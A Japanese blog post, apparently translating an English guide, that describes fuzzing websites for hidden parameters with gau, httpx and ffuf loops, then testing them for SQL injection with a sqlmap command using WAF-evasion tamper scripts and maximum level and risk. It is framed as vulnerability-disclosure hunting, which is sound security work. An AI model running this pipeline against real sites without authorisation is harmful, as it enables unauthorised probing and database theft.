Fuzzing Websites to Find Hidden Parametersを訳してみた

Hello there, ('ω')ノ

ウェブサイトをファジングして隠しパラメータを見つけるを。

脆弱性：

　SQLインジェクション

記事：

　https://thegrayarea.tech/fuzzing-for-hidden-params-671724bf3fd7

Web サイトまたはアプリケーションの重大な悪用につながる可能性のある。

隠しパラメータを見つけるための優れたハウツーガイドではなく。

今回は、ウェブサイトをファジングして隠しパラメータや。

その他の悪用ベクトルを見つける方法を。

１．gau を使用してサブドメインから URL を取得して。

cat subdomains.txt | gau --blacklist png,jpg,gif,jpeg,swf,woff,svg,pdf,tiff,tif,bmp,webp,ico,mp4,mov,js,css,eps,raw | tee all_urls.txt

２．URL を消去し、http ステータスコード 200 を確認して。

cat all_urls.txt | uro | httpx -mc 200 -silent | tee live_urls.txt

３．すべての PHP エンドポイントを grep して。

cat live_urls.txt | grep ".php" | cut -f1 -d"?" | sed 's:/*$::' | sort -u > php_endpoints_urls.txt

４．隠しパラメータを ffuf でファジングして。

GET

for URL in $(<php_endpoints_urls.txt); do (ffuf -u "${URL}?FUZZ=1" -w params_list.txt -mc 200 -ac -sa -t 20 -or -od ffuf_hidden_params_sqli_injections); done

POST

for URL in $(<php_endpoints_urls.txt); do (ffuf -X POST -u "${URL}" -w params_list.txt -mc 200 -ac -sa -t 20 -or -od ffuf_hidden_params_sqli_injections -d "FUZZ=1"); done

非表示の有効なパラメータが見つかった場合、SQL インジェクションに対して。

脆弱である可能性があるため、次のステップは、次のように。

sqlmapでステータスコード 200 を返した URL パラメータを確認することで。

GET の例：

sqlmap -u "URL" --random-agent --tamper="between,randomcase,space2comment" -v 2 --dbs --level 5 --risk 3 --batch --smart

この方法を使用して、VPD プログラムで SQL インジェクションをいくつか見つけて。

同じ方法を .asp(x) ファイルに適用できて。

リソース：

パラメータのリストについては、これを試してみて。

https://github.com/Bo0oM/ParamPamPam/blob/master/params.txt